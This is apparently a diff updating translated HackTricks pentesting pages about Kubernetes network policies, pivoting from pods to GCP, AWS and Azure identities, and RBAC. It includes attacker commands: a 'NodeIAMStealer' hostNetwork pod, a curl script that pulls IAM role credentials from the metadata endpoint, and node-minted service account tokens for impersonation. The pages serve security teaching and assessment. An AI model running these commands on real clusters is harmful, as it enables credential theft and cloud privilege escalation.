kubernetes management services -Servisi poput Apache NiFi, Kubeflow, Argo Workflows, Weave Scope i Kubernetes kontrolne table često su izloženi ili internetu ili unutar kubernetes mreže. Napadač koji uspe da **pronađe bilo koju platformu koja se koristi za upravljanje kubernetesom i pristupi joj** može je zloupotrebiti da dobije pristup kubernetes API-ju i izvrši radnje poput kreiranja novih podova, modifikovanja postojećih ili čak brisanja. +Services kao što su Apache NiFi, Kubeflow, Argo Workflows, Weave Scope i Kubernetes dashboard su često izloženi ili internetu ili unutar kubernetes network. Attacker koji uspe da **nađe bilo koju platformu koja se koristi za upravljanje kubernetes-om i pristupi joj** može da je abuse-uje da dobije pristup kubernetes API-ju i izvrši actions kao što su kreiranje novih podova, modifikovanje postojećih ili čak brisanje njih. -## Nabrajanje kubernetes mrežnih politika +## Enumerating kubernetes network policies -Dobijte konfigurisane **networkpolicies**: +Get configured **networkpolicies**: ```bash kubectl get networkpolicies --all-namespaces ``` -Dobijte **Callico** mrežne politike: +Get **Callico** network policies: ```bash kubectl get globalnetworkpolicy --all-namespaces ``` -Dobijte **Cillium** mrežne politike: +Dobij **Cillium** network policies: ```bash kubectl get ciliumnetworkpolicy --all-namespaces ``` -Instalirajte druge CRD-ove povezane sa politikom koje je instalirao vaš mrežni dodatak ili rešenje za bezbednost: +Preuzmite druge policy-related CRDs koje je instalirao vaš network plugin ili security solution: ```bash kubectl get crd | grep -i policy ``` -## Zapošljavanje saobraćaja +## Capturing Traffic -Alat [**Mizu**](https://github.com/up9inc/mizu) je jednostavan, ali moćan API **pregledač saobraćaja za Kubernetes** koji vam omogućava da **vidite svu API komunikaciju** između mikroservisa kako biste pomogli u debagovanju i rešavanju regresija.\ -Instaliraće agente u odabranim podovima i prikupiti informacije o njihovom saobraćaju i prikazati ih na veb serveru. Međutim, biće vam potrebne visoke K8s dozvole za ovo (i nije baš diskretno). +Alat [**Mizu**](https://github.com/up9inc/mizu) je jednostavan, ali moćan API **traffic viewer for Kubernetes** koji omogućava da **vidite svu API komunikaciju** između microservices kako biste lakše debug i troubleshoot regressions.\ +Instaliraće agente u izabrane pods i prikupiti njihove traffic informacije, pa će vam ih prikazati u web serveru. Međutim, za ovo će vam trebati visoke K8s permissions (i nije baš stealthy). -## Reference +## References - [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1) - [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md index 72862233d..6efb26e08 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md @@ -4,62 +4,62 @@ ## GCP -Ako pokrećete k8s cluser unutar GCP-a, verovatno ćete želeti da neka aplikacija koja radi unutar clustera ima pristup GCP-u. Postoje 2 uobičajena načina da se to uradi: +Ako pokrećete k8s cluster unutar GCP, verovatno ćete želeti da neka aplikacija koja radi unutar clustera ima neki access ka GCP. Postoje 2 uobičajena načina da se to uradi: -### Montiranje GCP-SA keys as secret +### Mounting GCP-SA keys as secret -Uobičajen način da se obezbedi **access to a kubernetes application to GCP** je da: +Uobičajen način da se **kubernetes aplikaciji omogući access ka GCP** je da: -- Create a GCP Service Account -- Bind on it the desired permissions -- Download a json key of the created SA -- Mount it as a secret inside the pod -- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is. +- Kreirate GCP Service Account +- Dodelite mu željene permissions +- Preuzmete json key kreiranog SA +- Mountujete ga kao secret unutar poda +- Postavite promenljivu okruženja GOOGLE_APPLICATION_CREDENTIALS koja pokazuje na putanju gde se nalazi json. > [!WARNING] > Dakle, kao **attacker**, ako kompromitujete container unutar poda, trebalo bi da proverite tu **env** **variable** i **json** **files** sa GCP credentials. -### Povezivanje GSA json to KSA secret +### Relating GSA json to KSA secret -Način da se omogući pristup GSA GKE cluser-u je vezivanjem na sledeći način: +Način da se GSA omogući access ka GKE cluser-u je da se oni povežu na ovaj način: - Kreirajte Kubernetes service account u istom namespace-u kao vaš GKE cluster koristeći sledeću komandu: ```bash kubectl create serviceaccount ``` -- Kreirajte Kubernetes Secret koji sadrži kredencijale GCP service account-a kojem želite dodeliti pristup GKE klasteru. Ovo možete uraditi koristeći `gcloud` command-line tool, kao što je prikazano u sledećem primeru: +- Kreirajte Kubernetes Secret koji sadrži kredencijale GCP service account-a kojem želite da odobrite pristup GKE cluster-u. Ovo možete uraditi pomoću `gcloud` command-line tool-a, kao što je prikazano u sledećem primeru: ```bash gcloud iam service-accounts keys create .json \ --iam-account kubectl create secret generic \ --from-file=key.json=.json ``` -- Povežite Kubernetes Secret sa Kubernetes service account koristeći sledeću komandu: +- Poveži Kubernetes Secret sa Kubernetes service account koristeći sledeću komandu: ```bash kubectl annotate serviceaccount \ iam.gke.io/gcp-service-account= ``` > [!WARNING] -> U **drugom koraku** su postavljeni **kredencijali GSA kao secret KSA**. Dakle, ako možete **pročitati taj secret** iz **unutrašnjosti** **GKE** klastera, možete **eskalirati na taj GCP service account**. +> U **drugom koraku** su postavljeni **credentials GSA** kao secret **KSA**. Zatim, ako možeš da **pročitaš taj secret** iz **unutrašnjosti** **GKE** klastera, možeš da se **eskaliraš do tog GCP service account**. ### GKE Workload Identity -Sa Workload Identity, možemo konfigurisati a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) da se ponaša kao a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods koji koriste Kubernetes service account će se automatski autentifikovati kao Google service account prilikom pristupa Google Cloud APIs. +Uz Workload Identity, možemo da konfigurišemo a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) da se ponaša kao a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pod-ovi koji rade sa Kubernetes service account-om će se automatski autentifikovati kao Google service account kada pristupaju Google Cloud API-jima. -The **prvi niz koraka** da se omogući ovo ponašanje je da **omogućite Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) i kreirate GCP SA koju želite da k8s preuzme. +**Prvi niz koraka** da se omogući ovo ponašanje je da se **omogući Workload Identity u GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) i kreira GCP SA koji želiš da k8s impersonate-uje. -- **Omogući Workload Identity** na novom klasteru +- **Enable Workload Identity** na novom cluster-u ```bash gcloud container clusters update \ --region=us-central1 \ --workload-pool=.svc.id.goog ``` -- **Kreiraj/Ažuriraj novi nodepool** (Autopilot clusters ovo ne zahtevaju) +- **Kreiraj/Ažuriraj novi nodepool** (Autopilot clusters ne trebaju ovo) ```bash # You could update instead of create gcloud container node-pools create --cluster= --workload-metadata=GKE_METADATA --region=us-central1 ``` -- Kreirajte **GCP Service Account to impersonate** iz K8s sa GCP permissions: +- Kreirajte **GCP Service Account to impersonate** iz K8s sa GCP dozvolama: ```bash # Create SA called "gsa2ksa" gcloud iam service-accounts create gsa2ksa --project= @@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding \ --member "serviceAccount:gsa2ksa@.iam.gserviceaccount.com" \ --role "roles/iam.securityReviewer" ``` -- **Povežite se** na **cluster** i **kreirajte** **service account** koji ćete koristiti +- **Poveži se** na **cluster** i **kreiraj** **service account** za korišćenje ```bash # Get k8s creds gcloud container clusters get-credentials --region=us-central1 @@ -80,7 +80,7 @@ kubectl create namespace testing # Create the KSA kubectl create serviceaccount ksa2gcp -n testing ``` -- **Povežite GSA sa KSA** +- **Poveži GSA sa KSA** ```bash # Allow the KSA to access the GSA in GCP IAM gcloud iam service-accounts add-iam-policy-binding gsa2ksa@ [!WARNING] -> Kao napadač unutar K8s treba da **tražite SAs** sa **`iam.gke.io/gcp-service-account` annotacijom** jer to ukazuje da SA može pristupiti nečemu u GCP. Druga opcija bi bila da pokušate zloupotrebiti svaki KSA u klasteru i proverite da li ima pristup.\ -> Iz GCP-a je uvek korisno izlistati bindings i znati **koji pristup dajete SAs unutar Kubernetes-a**. +> Kao napadač unutar K8s trebalo bi da **tražite SAs** sa **`iam.gke.io/gcp-service-account` annotation** jer to ukazuje da SA može da pristupi nečemu u GCP. Druga opcija bi bila da pokušate da abuse-ujete svaki KSA u cluster-u i proverite da li ima pristup.\ +> Iz GCP je uvek zanimljivo enumerisati bindings i znati **koji access dajete SAs unutar Kubernetes**. -Ovo je skripta da lako **prođe kroz sve pods** definicije **tražeći** tu **annotaciju**: +Ovo je skripta za lako **iteriranje kroz sve podove** definicije **tražeći** tu **annotation**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account" ### Kiam & Kube2IAM (IAM role for Pods) -Jedan (zastareo) način za dodeljivanje IAM Roles Pods je korišćenje [**Kiam**](https://github.com/uswitch/kiam) ili [**Kube2IAM**](https://github.com/jtblin/kube2iam) **servera.** U suštini, potrebno je pokrenuti **daemonset** u vašem klasteru sa nekom vrstom privilegovane IAM role. Taj daemonset će davati pristup IAM rolama podovima kojima je to potrebno. +Zastareli način da se dodele IAM Roles Pods jeste korišćenje [**Kiam**](https://github.com/uswitch/kiam) ili [**Kube2IAM**](https://github.com/jtblin/kube2iam) **servera.** U osnovi, potrebno je da pokreneš **daemonset** u svom cluster-u sa **nekom vrstom privileged IAM role**. Taj daemonset će biti onaj koji daje pristup IAM roles podovima kojima je to potrebno. -Pre svega, potrebno je konfigurisati **koje role mogu biti dostupne unutar namespace-a**, i to se radi pomoću anotacije unutar namespace objekta: +Pre svega, treba da konfigurišeš **koje roles mogu da se koriste unutar namespace-a**, a to radiš pomoću annotation unutar namespace objekta: ```yaml:Kiam kind: Namespace metadata: @@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: | ["role-arn"] name: default ``` -Kada je namespace konfigurisan sa IAM rolama koje Pods mogu imati, možete **navesti rolu koju želite u definiciji svakog poda pomoću nečeg poput**: +Kada je namespace konfigurisan sa IAM role-ovima koje Pod-ovi mogu imati, možeš **naznačiti željenu rolu u definiciji svakog poda sa nečim poput**: ```yaml:Kiam & Kube2iam kind: Pod metadata: @@ -171,12 +171,12 @@ annotations: iam.amazonaws.com/role: reportingdb-reader ``` > [!WARNING] -> Kao napadač, ako **pronađete ove anotacije** u pods ili namespaces ili postoji pokrenut kiam/kube2iam server (verovatno u kube-system), možete **se lažno predstaviti kao bilo koje IAM role** koje već **koriste pods** i još više (ako imate pristup AWS account, nabrojte role). +> Kao napadač, ako **nađete ove annotations** u pods ili namespaces ili kiam/kube2iam server koji radi (u kube-system verovatno) možete da **impersonate every r**ole koja je već **used by pods** i još više (ako imate access do AWS account, enumerate the roles). -#### Kreiranje Pod sa IAM Role +#### Create Pod with IAM Role > [!NOTE] -> IAM role koja se navodi mora biti u istom AWS account-u kao i kiam/kube2iam role i ta role mora moći da joj pristupi. +> IAM role koju treba navesti mora biti u istom AWS account kao kiam/kube2iam role i ta role mora moći da joj pristupi. ```yaml echo 'apiVersion: v1 kind: Pod @@ -194,12 +194,12 @@ args: ["-c", "sleep 100000"]' | kubectl apply -f - ``` ### IAM Role for K8s Service Accounts via OIDC -Ovo je **AWS-ov preporučeni način**. +Ovo je **preporučeni način od strane AWS**. -1. Pre svega treba da [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). -2. Zatim kreirate IAM role sa dozvolama koje će SA zahtevati. -3. Kreirajte [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (ime SA, ili namespace-ove koji daju pristup roli svim SA u tom namespace-u). _The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name_. -4. Na kraju, **kreirajte SA sa anotacijom koja ukazuje na ARN of the role**, i pods koji se pokreću sa tim SA će imati **access to the token of the role**. The **token** is **written** inside a file i putanja je specificirana u **`AWS_WEB_IDENTITY_TOKEN_FILE`** (podrazumevano: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) +1. Pre svega treba da [kreirate OIDC provider za cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). +2. Zatim kreirate IAM role sa permissions koje će SA zahtevati. +3. Kreirajte [trust relationship između IAM role i naziva SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (ili namespace-ova, dajući access svim SA u tom namespace-u). _Trust relationship će uglavnom proveravati OIDC provider name, namespace name i SA name_. +4. Na kraju, **kreirajte SA sa annotation koja pokazuje ARN role**, i pods koji rade sa tom SA će imati **access to the token of the role**. **token** se **upisuje** u fajl i path je naveden u **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) ```bash # Create a service account with a role cat >my-service-account.yaml < [!WARNING] -> Kao napadač, ako možete enumerisati a K8s cluster, proverite **service accounts with that annotation** da biste **escalate to AWS**. Da biste to uradili, jednostavno **exec/create** **pod** koristeći jedan od IAM **privileged service accounts** i ukrasti token. +> Kao napadač, ako možeš da enumerišeš K8s cluster, proveri **service accounts sa tom anotacijom** da bi **eskalirao na AWS**. Da bi to uradio, samo **exec/create** **pod** koristeći jedan od IAM **privileged service accounts** i ukradi token. > -> Takođe, ako ste unutar pod-a, proverite env variables kao što su **AWS_ROLE_ARN** i **AWS_WEB_IDENTITY_TOKEN.** +> Pored toga, ako si unutar poda, proveri env variables kao što su **AWS_ROLE_ARN** i **AWS_WEB_IDENTITY_TOKEN.** > [!CAUTION] -> Ponekad je **Turst Policy of a role** može biti **bad configured** i umesto da daje AssumeRole pristup očekivanom service account-u, daje ga **all the service accounts**. Dakle, ako ste u mogućnosti da upišete annotation na kontrolisanom service account-u, možete pristupiti role-i. +> Ponekad **Turst Policy role** može biti **loše konfigurisana** i umesto da daje AssumeRole access očekivanom service account-u, daje ga **svim service accounts**. Zato, ako možeš da upišeš anotaciju na kontrolisani service account, možeš da pristupiš roli. > -> Check the **following page for more information**: +> Proveri **sledeću stranicu za više informacija**: {{#ref}} ../aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} -### Pronađite Pods a SAs with IAM Roles u klasteru +### Find Pods a SAs with IAM Roles in the Cluster -Ovo je skripta da lako iterira kroz sve pods i sas definicije tražeći tu annotation: +Ovo je script za lako **iteriranje kroz sve podove i sas** definicije **u potrazi** za tom **anotacijom**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -253,26 +253,28 @@ echo "" done done | grep -B 1 "amazonaws.com" ``` -### Node IAM Role u cluster-admin +### Node IAM Role to cluster-admin -Prethodni odeljak je govorio o tome kako ukrasti IAM Roles koristeći pods, ali imajte na umu da je **Node of the** K8s cluster zapravo **instanca inside the cloud**. To znači da je veoma verovatno da Node ima **IAM role koju možete steal** (_napomena: obično svi nodes u K8s clusteru imaju istu IAM role, pa možda nije vredno proveravati svaki node_). +Prethodni deo je bio o tome kako ukrasti IAM Roles pomoću pods, ali imajte na umu da će **Node od** K8s cluster-a biti **instance unutar cloud-a**. To znači da je veoma verovatno da će Node **imati IAM role koju možete ukrasti** (_napomena: obično će svi node-ovi K8s cluster-a imati istu IAM role, pa možda neće vredeti pokušavati da proveravate svaki node_). -Da biste pristupili node metadata endpoint-u morate: -- Biti u podu i imati metadata endpoint konfigurisан na najmanje 2 tcp hops. Ovo je najčešća misconfiguration jer različiti pods u klasteru obično zahtevaju pristup metadata endpoint-u da ne bi došlo do breaking, i nekoliko kompanija jednostavno odluči da dozvoli pristup metadata endpoint-u sa svih pods u klasteru. -- Biti u podu sa `hostNetwork` enabled. -- Escape to the node i pristupiti metadata endpoint-u direktno. +Da biste pristupili metadata endpoint-u node-a, potrebno je da: +- Budete u pod-u i da je metadata endpoint konfigurisan na najmanje 2 tcp hops. Ovo je najčešća pogrešna konfiguracija, jer će obično različiti pods u cluster-u zahtevati pristup metadata endpoint-u da ne bi došlo do prekida rada, a mnoge kompanije jednostavno odluče da dozvole pristup metadata endpoint-u iz svih pods u cluster-u. +- Budete u pod-u sa omogućenim `hostNetwork`. +- Pobegnete na node i direktno pristupite metadata endpoint-u. -(Napomena: metadata endpoint je na 169.254.169.254 kao i uvek). +(Imajte na umu da je metadata endpoint, kao i uvek, na 169.254.169.254). -Da biste **escaped to the node** možete koristiti sledeću komandu da pokrenete pod sa `hostNetwork` enabled: +U novijim EKS okruženjima, proverite node i cluster mode pre nego što pretpostavite da pods mogu da dohvate node instance profile. Amazon Linux 2023 EKS optimized AMIs podrazumevano postavljaju IMDS hop limit na 1, a EKS Auto Mode podrazumevano omogućava `disablePodIMDS`, tako da obični pods ne bi trebalo da dobiju node-role credentials osim ako je operator promenio te postavke ili pod ima neki drugi node-level put kao što je `hostNetwork` ili compromise node-a. Preporučeni pattern je da se blokira pristup pod-a node IMDS-u i da se koriste IRSA ili EKS Pod Identity za AWS permissions workload-a. + +Da biste **pobegli na node** možete koristiti sledeću komandu da pokrenete pod sa omogućenim `hostNetwork`: ```bash kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}' ``` -### Ukradite IAM Role Token +### Ukradi IAM Role Token -Ranije smo objasnili kako da **attach IAM Roles to Pods** ili čak kako da **escape to the Node to steal the IAM Role** koji je pridružen instanci. +Prethodno smo razgovarali o tome kako da **prikačiš IAM Roles na Pods** ili čak kako da **pobegneš na Node da ukradeš IAM Role** koju instance ima dodeljenu. -Možete koristiti sledeći skript da **ukradete** svoje novo, teško stečene **IAM role credentials**: +Možeš da koristiš sledeći script da **ukradeš** svoje novo teško stečene **IAM role credentials**: ```bash IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null) if [ "$IAM_ROLE_NAME" ]; then @@ -285,21 +287,66 @@ fi ``` ### Privesc to cluster-admin -Ukratko: ako je moguće **pristupiti EKS Node IAM role** iz pod-a, moguće je **compromise the full kubernetes cluster**. +Ukratko: ako je moguće **access EKS Node IAM role** iz poda, moguće je **compromise the full kubernetes cluster**. -Za više informacija pogledajte [ovu objavu](https://blog.calif.io/p/privilege-escalation-in-eks). Kao rezime, podrazumevana IAM EKS role koja se dodeljuje EKS nodes po defaultu ima unutar clustera rolu `system:node`. Ova rola je veoma interesantna iako je ograničena kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction). +Za više informacija pogledaj [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Ukratko, podrazumevani IAM EKS role koji je dodeljen EKS node-ovima po defaultu dobija role `system:node` unutar clustera. Ovaj role je veoma interesantan, iako je ograničen kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction). -Međutim, node uvek može **generate tokens for service accounts** koji se izvršavaju u pods unutar node-a. Dakle, ako node pokreće pod sa privilegovanim service account-om, node može generisati token za taj service account i koristiti ga da impersonate taj service account kao u: +Međutim, node uvek može **generate tokens for service accounts** koji rade u podovima unutar node-a. Dakle, ako node pokreće pod sa privilegovanim service account-om, node može da generiše token za taj service account i da ga koristi da impersonate service account kao u: ```bash kubectl --context=node1 create token -n ns1 sa-priv \ --bound-object-kind=Pod \ --bound-object-name=pod-priv \ --bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d ``` -## Izvori +## Azure / AKS + +U AKS, držite tri identity path odvojene tokom assessment-a: + +- **Azure to Kubernetes**: Azure principals mogu da preuzmu user ili admin kubeconfigs kroz Azure Resource Manager ako njihov Azure RBAC role to dozvoljava. Local admin kubeconfigs iz `az aks get-credentials --admin` su certificate-based credentials i mogu zaobići normalno Microsoft Entra user/group governance osim ako local accounts nisu disabled. +- **Microsoft Entra to Kubernetes**: Entra-integrated clusters autentifikuju users, groups ili service principals kroz `kubelogin`/exec kubeconfigs. Finalna Kubernetes akcija može biti authorized od strane native Kubernetes RBAC ili od strane Azure RBAC for Kubernetes Authorization. +- **Kubernetes to Azure**: Pods bi normalno trebalo da koriste Microsoft Entra Workload ID, koji exchanges projected Kubernetes service account tokens sa Entra kroz AKS OIDC issuer i federated identity credentials. + +Korisne AKS identity checks iz Azure: +```bash +az aks show -g -n \ +--query '{disableLocalAccounts:disableLocalAccounts,enableAzureRBAC:enableAzureRBAC,oidcIssuerProfile:oidcIssuerProfile,securityProfile:securityProfile,identity:identity,identityProfile:identityProfile,nodeResourceGroup:nodeResourceGroup}' \ +-o yaml + +AKS_ID=$(az aks show -g -n --query id -o tsv) +az role assignment list --scope "$AKS_ID" --include-inherited -o table +az role assignment list --scope "$AKS_ID/namespaces/" -o table +``` +Iz Kubernetes, traži AKS Workload ID signale: +```bash +kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8 +kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8 +``` +Relevantna Workload ID polja su obično: +```yaml +metadata: +annotations: +azure.workload.identity/client-id: "" +azure.workload.identity/tenant-id: "" +--- +metadata: +labels: +azure.workload.identity/use: "true" +``` +Ako klaster i dalje koristi zastareli Microsoft Entra pod-managed identity model, potražite stare CRD-ove i NMI/MIC komponente umesto Workload ID anotacija: +```bash +kubectl get crd | grep -i azureidentity +kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null +kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity' +``` +AKS nodes su Azure VM scale set instanci, pa node ili host-level access može izložiti Azure Instance Metadata Service na `169.254.169.254`. Ne pretpostavljaj da bi običan pod trebalo da dobije node managed identity credentials: prvo proveri workload identity podešavanja, legacy pod identity/NMI ponašanje, upotrebu hostNetwork, network controls i pristup node-u. Ako node identity ima široke Azure permissions, compromise node-a može postati Azure pivot čak i kada je application Workload ID pravilno scoped. + +## References - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity) - [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c) - [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/) +- [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity) +- [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview) +- [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md index 8d7d9db93..db35ea15f 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md @@ -4,45 +4,45 @@ ## Role-Based Access Control (RBAC) -Kubernetes ima **authorization modul nazvan Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) koji pomaže da se podese permissions za API server. +Kubernetes ima **authorization module** pod nazivom Role-Based Access Control ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) koji pomaže da se postave permissions za korišćenje API servera. -RBAC’s permission model je izgrađen od **tri odvojena dela**: +RBAC permission model je izgrađen od **tri odvojena dela**: -1. **Role\ClusterRole –** Stvarna permission. Sadrži _**rules**_ koje predstavljaju skup permissions. Svako правило sadrži [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) i [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Verb je action koji će se primeniti na resource. +1. **Role\ClusterRole –** Sama permission. Sadrži _**rules**_ koje predstavljaju skup permissions. Svako pravilo sadrži [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) i [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Verb je akcija koja će se primeniti na resource. 2. **Subject (User, Group or ServiceAccount) –** Objekat koji će dobiti permissions. -3. **RoleBinding\ClusterRoleBinding –** Veza između Role\ClusterRole i subjecta. +3. **RoleBinding\ClusterRoleBinding –** Veza između Role\ClusterRole i subject. ![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png) -Razlika između “**Roles**” i “**ClusterRoles**” je samo u tome gde će role biti primenjen – “**Role**” će dodeliti pristup samo **jednom** **određenom** **namespace-u**, dok se “**ClusterRole**” može koristiti u **svim namespaces** u clusteru. Pored toga, **ClusterRoles** mogu takođe da dodele pristup za: +Razlika između “**Roles**” i “**ClusterRoles**” je samo u tome gde će se role primeniti – “**Role**” će dati pristup samo jednom **specifičnom** **namespace**, dok se “**ClusterRole**” može koristiti u **svim namespaces** u clusteru. Štaviše, **ClusterRoles** mogu takođe dati pristup sledećem: -- **cluster-scoped** resources (kao što su nodes). -- **non-resource** endpoints (kao što je /healthz). -- namespaced resources (kao što su Pods), **u svim namespaces**. +- **cluster-scoped** resources (kao nodes). +- **non-resource** endpoints (kao /healthz). +- namespaced resources (kao Pods), **u svim namespaces**. -Od **Kubernetes** 1.6 nadalje, **RBAC** policies su **omogućene po defaultu**. Ali da biste omogućili RBAC možete koristiti nešto poput: +Od **Kubernetes** 1.6 nadalje, **RBAC** policies su **enabled by default**. Ali da bi se RBAC omogućio, možeš koristiti nešto poput: ``` kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options ``` ## Templates -U template-u za **Role** ili **ClusterRole** moraćete da navedete **ime role**, **namespace** (u roles) i zatim **apiGroups**, **resources** i **verbs** role: +U template-u **Role** ili **ClusterRole** treba da navedete **ime role**, **namespace** (u roles) i zatim **apiGroups**, **resources** i **verbs** role: - **apiGroups** je niz koji sadrži različite **API namespaces** na koje se ovo pravilo primenjuje. Na primer, definicija Pod koristi apiVersion: v1. _Može imati vrednosti kao što su rbac.authorization.k8s.io ili \[\*]_. -- **resources** je niz koji definiše **na koje resources se ovo pravilo primenjuje**. Sve resources možete pronaći pomoću: `kubectl api-resources --namespaced=true` -- **verbs** je niz koji sadrži **dozvoljene verbs**. Verb u Kubernetes definiše **tip akcije** koji treba da primenite na resource. Na primer, verb list se koristi nad collection-ovima, dok se "get" koristi nad jednim resource-om. +- **resources** je niz koji definiše **na koje resurse se ovo pravilo primenjuje**. Sve resurse možete pronaći sa: `kubectl api-resources --namespaced=true` +- **verbs** je niz koji sadrži **dozvoljene verbs**. Verb u Kubernetes definiše **tip akcije** koji treba da primenite na resource. Na primer, verb list se koristi nad kolekcijama, dok se "get" koristi nad jednim resource-om. ### Rules Verbs -(_Ove informacije su preuzete iz_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb)) +(_Ova informacija je preuzeta iz_ [_**docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb)) | HTTP verb | request verb | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | | POST | create | -| GET, HEAD | get (za pojedinačne resources), list (za collection-ove, uključujući puni sadržaj objekta), watch (za praćenje pojedinačnog resource-a ili collection-a resources) | +| GET, HEAD | get (za pojedinačne resources), list (za kolekcije, uključujući puni sadržaj objekta), watch (za praćenje pojedinačnog resource-a ili kolekcije resources) | | PUT | update | | PATCH | patch | -| DELETE | delete (za pojedinačne resources), deletecollection (za collections) | +| DELETE | delete (za pojedinačne resources), deletecollection (za kolekcije) | Kubernetes ponekad proverava autorizaciju za dodatne dozvole koristeći specijalizovane verbs. Na primer: @@ -54,7 +54,7 @@ Kubernetes ponekad proverava autorizaciju za dodatne dozvole koristeći specijal - `impersonate` verb na `users`, `groups` i `serviceaccounts` u core API group, i `userextras` u `authentication.k8s.io` API group. > [!WARNING] -> Možete pronaći **sve verbs koje svaki resource podržava** izvršavanjem `kubectl api-resources --sort-by name -o wide` +> Možete pronaći **sve verbs koje svaki resource podržava** tako što ćete izvršiti `kubectl api-resources --sort-by name -o wide` ### Examples ```yaml:Role @@ -80,15 +80,15 @@ rules: resources: ["secrets"] verbs: ["get", "watch", "list"] ``` -Na primer, možete koristiti **ClusterRole** da biste omogućili određenom korisniku da pokrene: +Na primer, možete koristiti **ClusterRole** da omogućite određenom korisniku da pokrene: ``` kubectl get pods --all-namespaces ``` ### **RoleBinding and ClusterRoleBinding** -[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **role binding 